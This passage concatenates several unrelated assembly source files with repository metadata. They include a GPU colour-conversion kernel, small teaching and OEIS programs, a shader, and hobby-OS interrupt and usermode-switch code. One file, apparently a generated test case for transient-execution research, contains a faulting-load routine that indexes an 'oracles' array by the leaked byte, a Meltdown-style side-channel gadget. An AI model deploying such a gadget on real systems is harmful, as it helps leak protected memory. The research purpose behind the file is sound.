// Module name: PL16x8_PL8x4.asm
//----------------------------------------------------------------
#include "RGBX_Load_16x8.inc"
#if (0)
#define nTEMP0 34 // transformation coefficient
#define nTEMP1 35 // one row of Y (first half register is used)
#define nTEMP2 36 // first half of one row
#define nTEMP3 37 // second half of one row
#define nTEMP4 38 // mul and add
#define nTEMP5 39 // mul and add
#define nTEMP6 40 // mul and add
#define nTEMP7 41 // mul and add
#define nTEMP8 42 // sum of mul
#define nTEMP10 44
#define nTEMP12 46
#define nTEMP14 48
#define nTEMP16 50
#define nTEMP17 51
#define nTEMP18 52
#define nTEMP24 58
#endif
$for(0; <nY_NUM_OF_ROWS; 1) {
// BGRX | B | G | R | X |
// ###### do on row for Y
// #### mul and add
mul (16) REG2(r, nTEMP4, 0)<1>:uw r[SRC_RGBA_OFFSET_1, %1*32 + 0]<0; 16,1>:ub ubRGB_to_Y_Coef_Fix<0;4,1>:ub
mul (16) REG2(r, nTEMP5, 0)<1>:uw r[SRC_RGBA_OFFSET_1, %1*32 + 16]<0; 16,1>:ub ubRGB_to_Y_Coef_Fix<0;4,1>:ub
mul (16) REG2(r, nTEMP6, 0)<1>:uw r[SRC_RGBA_OFFSET_2, %1*32 + 0]<0; 16,1>:ub ubRGB_to_Y_Coef_Fix<0;4,1>:ub
mul (16) REG2(r, nTEMP7, 0)<1>:uw r[SRC_RGBA_OFFSET_2, %1*32 + 16]<0; 16,1>:ub ubRGB_to_Y_Coef_Fix<0;4,1>:ub
add (4) REG2(r, nTEMP4, 0)<4>:uw REG2(r, nTEMP4, 0)<0;4,4>:uw REG2(r, nTEMP4, 1)<0;4,4>:uw
add (4) REG2(r, nTEMP5, 0)<4>:uw REG2(r, nTEMP5, 0)<0;4,4>:uw REG2(r, nTEMP5, 1)<0;4,4>:uw
add (4) REG2(r, nTEMP6, 0)<4>:uw REG2(r, nTEMP6, 0)<0;4,4>:uw REG2(r, nTEMP6, 1)<0;4,4>:uw
add (4) REG2(r, nTEMP7, 0)<4>:uw REG2(r, nTEMP7, 0)<0;4,4>:uw REG2(r, nTEMP7, 1)<0;4,4>:uw
add (4) REG2(r, nTEMP4, 0)<4>:uw REG2(r, nTEMP4, 0)<0;4,4>:uw REG2(r, nTEMP4, 2)<0;4,4>:uw
add (4) REG2(r, nTEMP5, 0)<4>:uw REG2(r, nTEMP5, 0)<0;4,4>:uw REG2(r, nTEMP5, 2)<0;4,4>:uw
add (4) REG2(r, nTEMP6, 0)<4>:uw REG2(r, nTEMP6, 0)<0;4,4>:uw REG2(r, nTEMP6, 2)<0;4,4>:uw
add (4) REG2(r, nTEMP7, 0)<4>:uw REG2(r, nTEMP7, 0)<0;4,4>:uw REG2(r, nTEMP7, 2)<0;4,4>:uw
// #### write Y to the 1 row
mov (4) REG2(r, nTEMP8, 0)<1>:uw REG2(r, nTEMP4, 0)<0; 4, 4>:uw
mov (4) REG2(r, nTEMP8, 4)<1>:uw REG2(r, nTEMP5, 0)<0; 4, 4>:uw
mov (4) REG2(r, nTEMP8, 8)<1>:uw REG2(r, nTEMP6, 0)<0; 4, 4>:uw
mov (4) REG2(r, nTEMP8, 12)<1>:uw REG2(r, nTEMP7, 0)<0; 4, 4>:uw
add (16) REG2(r, nTEMP8, 0)<1>:uw REG2(r, nTEMP8, 0)<0; 16, 1>:uw 0x1080:uw
mov (16) REG2(r, nTEMP8, 0)<1>:ub REG2(r, nTEMP8, 1)<0; 16, 2>:ub
mov (16) uwDEST_Y(%1)<1> REG2(r,nTEMP8, 0)<0;16,1>:ub
// ###### do one row for U
// #### mul and add
mul (16) REG2(r, nTEMP4, 0)<1>:w r[SRC_RGBA_OFFSET_1, %1*32 + 0]<0; 16,1>:ub bRGB_to_U_Coef_Fix<0;4,1>:b
mul (16) REG2(r, nTEMP5, 0)<1>:w r[SRC_RGBA_OFFSET_1, %1*32 + 16]<0; 16,1>:ub bRGB_to_U_Coef_Fix<0;4,1>:b
mul (16) REG2(r, nTEMP6, 0)<1>:w r[SRC_RGBA_OFFSET_2, %1*32 + 0]<0; 16,1>:ub bRGB_to_U_Coef_Fix<0;4,1>:b
mul (16) REG2(r, nTEMP7, 0)<1>:w r[SRC_RGBA_OFFSET_2, %1*32 + 16]<0; 16,1>:ub bRGB_to_U_Coef_Fix<0;4,1>:b
add (4) REG2(r, nTEMP4, 0)<4>:w REG2(r, nTEMP4, 0)<0;4,4>:w REG2(r, nTEMP4, 1)<0;4,4>:w
add (4) REG2(r, nTEMP5, 0)<4>:w REG2(r, nTEMP5, 0)<0;4,4>:w REG2(r, nTEMP5, 1)<0;4,4>:w
add (4) REG2(r, nTEMP6, 0)<4>:w REG2(r, nTEMP6, 0)<0;4,4>:w REG2(r, nTEMP6, 1)<0;4,4>:w
add (4) REG2(r, nTEMP7, 0)<4>:w REG2(r, nTEMP7, 0)<0;4,4>:w REG2(r, nTEMP7, 1)<0;4,4>:w
add (4) REG2(r, nTEMP4, 0)<4>:w REG2(r, nTEMP4, 0)<0;4,4>:w REG2(r, nTEMP4, 2)<0;4,4>:w
add (4) REG2(r, nTEMP5, 0)<4>:w REG2(r, nTEMP5, 0)<0;4,4>:w REG2(r, nTEMP5, 2)<0;4,4>:w
add (4) REG2(r, nTEMP6, 0)<4>:w REG2(r, nTEMP6, 0)<0;4,4>:w REG2(r, nTEMP6, 2)<0;4,4>:w
add (4) REG2(r, nTEMP7, 0)<4>:w REG2(r, nTEMP7, 0)<0;4,4>:w REG2(r, nTEMP7, 2)<0;4,4>:w
// #### write U to the 1 row
mov (4) REG2(r, nTEMP8, 0)<1>:w REG2(r, nTEMP4, 0)<0; 4, 4>:w
mov (4) REG2(r, nTEMP8, 4)<1>:w REG2(r, nTEMP5, 0)<0; 4, 4>:w
mov (4) REG2(r, nTEMP8, 8)<1>:w REG2(r, nTEMP6, 0)<0; 4, 4>:w
mov (4) REG2(r, nTEMP8, 12)<1>:w REG2(r, nTEMP7, 0)<0; 4, 4>:w
add (16) REG2(r, nTEMP8, 0)<1>:uw REG2(r, nTEMP8, 0)<0; 16, 1>:w 0x8080:uw
mov (16) REG2(r, nTEMP8, 0)<1>:ub REG2(r, nTEMP8, 1)<0; 16, 2>:ub
mov (16) uwDEST_U(%1)<1> REG2(r,nTEMP8, 0)<0;16,1>:ub
// ###### do one row for V
// #### mul and add
mul (16) REG2(r, nTEMP4, 0)<1>:w r[SRC_RGBA_OFFSET_1, %1*32 + 0]<0; 16,1>:ub bRGB_to_V_Coef_Fix<0;4,1>:b
mul (16) REG2(r, nTEMP5, 0)<1>:w r[SRC_RGBA_OFFSET_1, %1*32 + 16]<0; 16,1>:ub bRGB_to_V_Coef_Fix<0;4,1>:b
mul (16) REG2(r, nTEMP6, 0)<1>:w r[SRC_RGBA_OFFSET_2, %1*32 + 0]<0; 16,1>:ub bRGB_to_V_Coef_Fix<0;4,1>:b
mul (16) REG2(r, nTEMP7, 0)<1>:w r[SRC_RGBA_OFFSET_2, %1*32 + 16]<0; 16,1>:ub bRGB_to_V_Coef_Fix<0;4,1>:b
add (4) REG2(r, nTEMP4, 0)<4>:w REG2(r, nTEMP4, 0)<0;4,4>:w REG2(r, nTEMP4, 1)<0;4,4>:w
add (4) REG2(r, nTEMP5, 0)<4>:w REG2(r, nTEMP5, 0)<0;4,4>:w REG2(r, nTEMP5, 1)<0;4,4>:w
add (4) REG2(r, nTEMP6, 0)<4>:w REG2(r, nTEMP6, 0)<0;4,4>:w REG2(r, nTEMP6, 1)<0;4,4>:w
add (4) REG2(r, nTEMP7, 0)<4>:w REG2(r, nTEMP7, 0)<0;4,4>:w REG2(r, nTEMP7, 1)<0;4,4>:w
add (4) REG2(r, nTEMP4, 0)<4>:w REG2(r, nTEMP4, 0)<0;4,4>:w REG2(r, nTEMP4, 2)<0;4,4>:w
add (4) REG2(r, nTEMP5, 0)<4>:w REG2(r, nTEMP5, 0)<0;4,4>:w REG2(r, nTEMP5, 2)<0;4,4>:w
add (4) REG2(r, nTEMP6, 0)<4>:w REG2(r, nTEMP6, 0)<0;4,4>:w REG2(r, nTEMP6, 2)<0;4,4>:w
add (4) REG2(r, nTEMP7, 0)<4>:w REG2(r, nTEMP7, 0)<0;4,4>:w REG2(r, nTEMP7, 2)<0;4,4>:w
// #### write V to the 1 row
mov (4) REG2(r, nTEMP8, 0)<1>:w REG2(r, nTEMP4, 0)<0; 4, 4>:w
mov (4) REG2(r, nTEMP8, 4)<1>:w REG2(r, nTEMP5, 0)<0; 4, 4>:w
mov (4) REG2(r, nTEMP8, 8)<1>:w REG2(r, nTEMP6, 0)<0; 4, 4>:w
mov (4) REG2(r, nTEMP8, 12)<1>:w REG2(r, nTEMP7, 0)<0; 4, 4>:w
add (16) REG2(r, nTEMP8, 0)<1>:uw REG2(r, nTEMP8, 0)<0; 16, 1>:w 0x8080:uw
mov (16) REG2(r, nTEMP8, 0)<1>:ub REG2(r, nTEMP8, 1)<0; 16, 2>:ub
mov (16) uwDEST_V(%1)<1> REG2(r,nTEMP8, 0)<0;16,1>:ub
}
|
||||
TheStack | 5f33e6d8d501e068d3c4e7fe780a7b21ebeb1743 | Assemblycode:Assembly | {"size": 493, "ext": "asm", "max_stars_repo_path": "randomly-solved-programs/reverse.asm", "max_stars_repo_name": "informramiz/Assembly-Language-Programs", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "randomly-solved-programs/reverse.asm", "max_issues_repo_name": "informramiz/Assembly-Language-Programs", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "randomly-solved-programs/reverse.asm", "max_forks_repo_name": "informramiz/Assembly-Language-Programs", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 10.9555555556, "max_line_length": 51, "alphanum_fraction": 0.5517241379} | .MODEL SMALL
.STACK 100H
.DATA
ARRAY1 DB 'a','b','c','d','e','f','g','h','i','j'
ARRAY2 DB 0H,0H,0H,0H,0H,0H,0H,0H,0H,0H
.CODE
MAIN PROC
MOV AX,@DATA
MOV DS,AX
MOV CX,10
LEA si,array1+9
LEA di,ARRAY2
COPY:
MOV AH,[si]
MOV [di],AH
dec si
inc di
DEC CX
JNZ COPY
MOV AH,2
MOV CX,16
MOV DL,ARRAY1
DISPLAY:
INT 21H
DEC ARRAY1
MOV DL,ARRAY1
DEC CX
JNZ DISPLAY
EXIT:
MOV AH,4CH
INT 21H
MAIN ENDP
END MAIN
|
||||
TheStack | 532e0a7c0c582aef0d9acb13929239e52d0967db | Assemblycode:Assembly | {"size": 718, "ext": "asm", "max_stars_repo_path": "oeis/175/A175714.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/175/A175714.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/175/A175714.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 37.7894736842, "max_line_length": 489, "alphanum_fraction": 0.7242339833} | ; A175714: Expansion of -1/((1 - x)*(1 - x^2 + 4*x^3)).
; Submitted by Stefano Spezia
; -1,-1,-2,2,1,9,-8,4,-45,35,-62,214,-203,461,-1060,1272,-2905,5511,-7994,17130,-30039,49105,-98560,169260,-294981,563499,-972022,1743422,-3226019,5631509,-10199708,18535584,-32725745,59334415,-106868082,190237394,-344205743,617709721,-1105155320,1994532692,-3575994205,6415153971,-11554124974,20719130790,-37214740859,66935630685,-120091264020,215794594120,-387833786761,696159650199,-1251012163242,2247494797242,-4035650764039,7251543450209,-13025629953008,23394146506364,-42031803753845
add $0,1
mov $1,1
lpb $0
sub $0,1
add $1,$3
mul $1,4
add $3,$1
add $1,$2
mul $3,-1
add $3,1
add $2,$3
lpe
mov $0,$2
div $0,3
|
||||
TheStack | 0b7207ca8e9e8c500a82df6a7c067f3a2900b4fa | Assemblycode:Assembly | {"size": 392, "ext": "asm", "max_stars_repo_path": "assets/data/SIMPLE.FRAGMENT.asm", "max_stars_repo_name": "SestrenExsis/MiniLD59", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "assets/data/SIMPLE.FRAGMENT.asm", "max_issues_repo_name": "SestrenExsis/MiniLD59", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "assets/data/SIMPLE.FRAGMENT.asm", "max_forks_repo_name": "SestrenExsis/MiniLD59", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 49.0, "max_line_length": 92, "alphanum_fraction": 0.375} | ; ==========================================================================================
; Fragment shader for rendering the scene to the back buffer using simple texture mapping.
; ==========================================================================================
;
; fs0: Texture Atlas
; v0: UV coordinates for texture mapping
;
tex oc, v0.xy, fs0 <2d,nearest,nomip> |
||||
TheStack | 9911bae3af8e83d0f1d6505a54d453f82665c5c4 | Assemblycode:Assembly | {"size": 4833, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0_notsx.log_97_787.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0_notsx.log_97_787.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0_notsx.log_97_787.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 24.0447761194, "max_line_length": 290, "alphanum_fraction": 0.6538381957} | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x810, %rsi
nop
nop
nop
nop
add $58527, %rdx
mov (%rsi), %eax
add $34234, %r13
lea addresses_UC_ht+0x16016, %rsi
lea addresses_normal_ht+0x147e8, %rdi
nop
nop
sub $3219, %r13
mov $114, %rcx
rep movsw
nop
xor %rsi, %rsi
lea addresses_WC_ht+0xf786, %rsi
lea addresses_normal_ht+0x1e446, %rdi
nop
nop
dec %r15
mov $97, %rcx
rep movsl
nop
xor %rdi, %rdi
lea addresses_UC_ht+0x10c96, %rsi
lea addresses_D_ht+0x7e86, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
nop
nop
cmp %rax, %rax
mov $108, %rcx
rep movsq
inc %rax
lea addresses_A_ht+0x3686, %rcx
nop
nop
cmp %rdi, %rdi
mov $0x6162636465666768, %rax
movq %rax, (%rcx)
nop
add $47090, %r15
lea addresses_WT_ht+0x2586, %rsi
lea addresses_WT_ht+0x1d5f6, %rdi
nop
nop
nop
nop
xor $12315, %r13
mov $57, %rcx
rep movsl
nop
nop
xor %rax, %rax
lea addresses_D_ht+0x1c2c6, %r15
nop
sub %r13, %r13
movl $0x61626364, (%r15)
nop
nop
and %rsi, %rsi
lea addresses_WC_ht+0xeb86, %rsi
lea addresses_UC_ht+0x1b86, %rdi
nop
nop
nop
nop
nop
xor $55588, %r13
mov $61, %rcx
rep movsl
sub %rdx, %rdx
lea addresses_normal_ht+0x173a6, %rsi
lea addresses_WT_ht+0x1286, %rdi
clflush (%rdi)
and $35728, %r14
mov $122, %rcx
rep movsl
nop
cmp $12612, %rsi
lea addresses_A_ht+0xb7f6, %rsi
lea addresses_A_ht+0xba26, %rdi
nop
nop
nop
nop
nop
sub $44344, %rax
mov $96, %rcx
rep movsb
and $42842, %r13
lea addresses_WC_ht+0x19bce, %rcx
nop
cmp %r14, %r14
movb (%rcx), %al
cmp %rdx, %rdx
lea addresses_D_ht+0xbf86, %r14
nop
nop
cmp $37990, %rdi
mov (%r14), %r15w
nop
nop
and %r13, %r13
lea addresses_normal_ht+0x12d86, %rsi
lea addresses_normal_ht+0x4bc6, %rdi
nop
and %r13, %r13
mov $36, %rcx
rep movsb
nop
add %rsi, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %r8
push %r9
push %rax
push %rbx
// Load
mov $0x659f270000000c8e, %r9
and %r13, %r13
mov (%r9), %r15
nop
nop
nop
nop
cmp %r13, %r13
// Faulty Load
lea addresses_A+0x1eb86, %rbx
nop
nop
nop
nop
dec %r9
mov (%rbx), %ax
lea oracles, %r9
and $0xff, %rax
shlq $12, %rax
mov (%r9,%rax,1), %rax
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'AVXalign': True, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 8}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 5}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}}
{'00': 97}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
||||
TheStack | 0b4a666be8d3d1cb559c54e87a797a0373ab6291 | Assemblycode:Assembly | {"size": 14325, "ext": "asm", "max_stars_repo_path": "kernel/arch/i386/sys/idt-asm.asm", "max_stars_repo_name": "foliagecanine/tritium-os", "max_stars_repo_stars_event_min_datetime": "2020-08-26T07:59:05.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-08T21:23:25.000Z", "max_issues_repo_path": "kernel/arch/i386/sys/idt-asm.asm", "max_issues_repo_name": "foliagecanine/tritium-os", "max_issues_repo_issues_event_min_datetime": "2021-02-12T04:07:44.000Z", "max_issues_repo_issues_event_max_datetime": "2021-02-17T19:00:51.000Z", "max_forks_repo_path": "kernel/arch/i386/sys/idt-asm.asm", "max_forks_repo_name": "foliagecanine/tritium-os", "max_forks_repo_forks_event_min_datetime": "2021-06-25T17:13:59.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-21T16:45:56.000Z"} | {"max_stars_count": 17, "max_issues_count": 2, "max_forks_count": 4, "avg_line_length": 17.4270072993, "max_line_length": 136, "alphanum_fraction": 0.6773472949} | global irq0
global irq1
global irq2
global irq3
global irq4
global irq5
global irq6
global irq7
global irq8
global irq9
global irq10
global irq11
global irq12
global irq13
global irq14
global irq15
global default_handler
global load_idt
;global irq0_handler
;global irq1_handler
;global irq2_handler
;global irq3_handler
;global irq4_handler
;global irq5_handler
;global irq6_handler
;global irq7_handler
;global irq8_handler
;global irq9_handler
;global irq10_handler
;global irq11_handler
;global irq12_handler
;global irq13_handler
;global irq14_handler
;global irq15_handler
extern irq0_handler
extern irq1_handler
extern irq2_handler
extern irq3_handler
extern irq4_handler
extern irq5_handler
extern irq6_handler
extern irq7_handler
extern irq8_handler
extern irq9_handler
extern irq10_handler
extern irq11_handler
extern irq12_handler
extern irq13_handler
extern irq14_handler
extern irq15_handler
extern unhandled_interrupt
extern exception_page_fault
extern temp_tss
extern new_temp_tss
extern ready_esp
extern fxsave_region
extern syscall_temp_tss
extern run_syscall
global switch_task
global run_syscall_asm
orig_eax dd 0
retaddr dd 0
errcode dd 0
global page_fault
page_fault:
mov dword [orig_eax],eax
pop eax
mov dword [errcode],eax
mov [ready_esp],esp
pop eax
mov dword [retaddr],eax
push eax
mov eax, dword [orig_eax]
pusha
mov eax, dword [errcode]
push eax
mov eax, dword [retaddr]
push eax
call exception_page_fault
popa
iret
switch_task:
mov esp,dword [ready_esp]
fxsave [fxsave_region]
add esp,0xC
pop eax
mov eax,dword [new_temp_tss+56] ;esp
push eax
sub esp,0xC
pop eax
mov eax,dword [new_temp_tss+32] ;eip
push eax
mov eax,dword [new_temp_tss+36] ;eflags
push eax
popf
mov eax,dword [new_temp_tss+40]
mov ebx,dword [new_temp_tss+52]
mov ecx,dword [new_temp_tss+44]
mov edx,dword [new_temp_tss+48]
mov edi,dword [new_temp_tss+68]
mov esi,dword [new_temp_tss+64]
mov ebp,dword [new_temp_tss+60]
fxrstor [fxsave_region]
iret
run_syscall_asm:
mov dword [ready_esp],esp
fxsave [fxsave_region]
mov dword [syscall_temp_tss+40],eax
mov dword [syscall_temp_tss+52],ebx
mov dword [syscall_temp_tss+44],ecx
mov dword [syscall_temp_tss+48],edx
mov dword [syscall_temp_tss+68],edi
mov dword [syscall_temp_tss+64],esi
mov dword [syscall_temp_tss+60],ebp
pushf
pop eax
mov dword [syscall_temp_tss+36],eax ;eflags
pop eax
push eax
mov dword [syscall_temp_tss+32],eax ;eip
add esp,0xC
pop eax
push eax
sub esp,0xC
mov dword [syscall_temp_tss+56],eax ;esp
mov eax, dword [syscall_temp_tss+40]
call run_syscall
;mov esp,dword [ready_esp] ; I have no clue why, but ready_esp can be clobbered. ready_esp should only be used by task switching now.
add esp,0xC
pop ebx
mov ebx,dword [syscall_temp_tss+56] ;esp
push ebx
sub esp,0xC
pop ebx
mov ebx,dword [syscall_temp_tss+32] ;eip
push ebx
mov ebx,dword [syscall_temp_tss+36] ;eflags
push ebx
popf
mov ebx,dword [syscall_temp_tss+52]
mov ecx,dword [syscall_temp_tss+44]
mov edx,dword [syscall_temp_tss+48]
mov edi,dword [syscall_temp_tss+68]
mov esi,dword [syscall_temp_tss+64]
mov ebp,dword [syscall_temp_tss+60]
fxrstor [fxsave_region]
iret
irq0:
mov dword [ready_esp],esp
mov dword [temp_tss+40],eax
mov dword [temp_tss+52],ebx
mov dword [temp_tss+44],ecx
mov dword [temp_tss+48],edx
mov dword [temp_tss+68],edi
mov dword [temp_tss+64],esi
mov dword [temp_tss+60],ebp
pushf
pop eax
mov dword [temp_tss+36],eax ;eflags
pop eax
push eax
mov dword [temp_tss+32],eax ;eip
add esp,0xC
pop eax
push eax
sub esp,0xC
mov dword [temp_tss+56],eax ;esp
mov eax, dword [temp_tss+40]
pusha
call irq0_handler
popa
iret
irq1:
pusha
call irq1_handler
popa
iret
irq2:
pusha
call irq2_handler
popa
iret
irq3:
pusha
call irq3_handler
popa
iret
irq4:
pusha
call irq4_handler
popa
iret
irq5:
pusha
call irq5_handler
popa
iret
irq6:
pusha
call irq6_handler
popa
iret
irq7:
pusha
call irq7_handler
popa
iret
irq8:
pusha
call irq8_handler
popa
iret
irq9:
pusha
call irq9_handler
popa
iret
irq10:
pusha
call irq10_handler
popa
iret
irq11:
pusha
call irq11_handler
popa
iret
irq12:
pusha
call irq12_handler
popa
iret
irq13:
pusha
call irq13_handler
popa
iret
irq14:
pusha
call irq14_handler
popa
iret
irq15:
pusha
call irq15_handler
popa
iret
default_handler:
pusha
call unhandled_interrupt
popa
iret
load_idt:
mov edx, [esp + 4]
lidt [edx]
sti
ret
global test_int
test_int:
xor eax, eax
int 0x80
ret
extern last_stack
extern last_entrypoint
; Load all the segment registers with the usermode data selector
; Then push the stack segment and the stack pointer (we need to change this)
; Then modify the flags so they enable interrupts on iret
; Push the code selector on the stack
; Push the entrypoint of the program in memory, then iret to enter usermode
global enter_usermode
enter_usermode:
cli
mov ax,0x23
mov ax, ds
mov ax, es
mov ax, fs
mov ax, gs
push 0x23
mov eax,[last_stack]
push eax
pushf
pop eax
or eax,0x200
push eax
push 0x1B
mov eax,[last_entrypoint]
push eax
mov eax,0
mov ebx,0
mov ecx,0xBFFFE000
mov edx,0xBFFFF000
mov esi,0
mov edi,0
mov ebp,0
iret
; Exit usermode
global exit_usermode
exit_usermode:
cli
mov ax,0x10
mov ax, ds
mov ax, es
mov ax, fs
mov ax, gs
push 0x10
mov eax,[last_stack]
push eax
pushf
pop eax
mov eax,0x200
push eax
push 0x8
mov eax,[last_entrypoint]
push eax
iret
; The following was modified from Omarrx024's VESA tutorial on the OSDev Wiki
; (https://wiki.osdev.org/User:Omarrx024/VESA_Tutorial)
; This code is used under CC0 1.0 (see https://wiki.osdev.org/OSDev_Wiki:Copyrights for details)
; VESA32 function:
; Switch to realmode, change resolution, and return to protected mode.
;
; Inputs:
; ch - Function (0=change resolution, 1=Get resolution of available mode #ax)
; mode 0:
; ax - Resolution width
; bx - Resolution height
; cl - Bit depth (bpp)
; mode 1:
; ax - mode number
;
; Outputs:
; mode 0:
; al - Error code
; 0 = success
; 1 = mode not found
; 2 = BIOS error
; ebx - Framebuffer address (physical)
; mode 1:
; ax - Width
; bx - Height
; cl - BPP
;
; Note: you will most likely have to reload the PIT
; Macros to make it easier to access data and code copied to 0x7C00
%define INT32_LENGTH (_int32_end-_int32)
%define FIXADDR(addr) (((addr)-_int32)+0x7C00)
; Macros for the storevars at 0x7C00
%define sv_width FIXADDR(storevars.width)
%define sv_height FIXADDR(storevars.height)
%define sv_bpp FIXADDR(storevars.bpp)
%define sv_func FIXADDR(storevars.func)
%define sv_segment FIXADDR(storevars.segment)
%define sv_offset FIXADDR(storevars.offset)
%define sv_mode FIXADDR(storevars.mode)
global vesa32
vesa32:
cli
; Store registers so we can use them
mov [storevars.width],ax
mov [storevars.height],bx
mov [storevars.bpp],cl
mov [storevars.func],ch
; Copy the _int32 function (et al) to 0x7C00 (below 1MiB)
mov esi,_int32
mov edi,0x7C00
mov ecx,INT32_LENGTH
cld
rep movsb
; Relocate the stored variables to where the rest of the data is
mov ax,[storevars.width]
mov [sv_width],ax
mov ax,[storevars.height]
mov [sv_height],ax
mov al,[storevars.bpp]
mov [sv_bpp],al
; Jump to code under 1MiB so we can run in 16 bit mode
jmp 0x00007C00
[BITS 32]
_int32:
; Store any remaining registers so we don't mess anything up in C
mov [store32.edx],edx
mov [store32.esi],esi
mov [store32.edi],edi
mov [store32.esp],esp
mov [store32.ebp],ebp
; Store the cr3 in case the BIOS messes it up
mov eax,cr3
mov [store32.cr3],eax
; Disable paging
mov eax,cr0
and eax,0x7FFFFFFF
mov cr0,eax
; Store existing GDTs and IDTs and load temporary ones
sgdt [FIXADDR(gdt32)]
sidt [FIXADDR(idt32)]
lgdt [FIXADDR(gdt16)]
lidt [FIXADDR(idt16)]
; Switch to 16 bit protected mode
jmp word 0x08:FIXADDR(_intp16)
[BITS 16]
_intp16:
; Load all the segment registers with the data segment
mov ax,0x10
mov ds,ax
mov es,ax
mov fs,ax
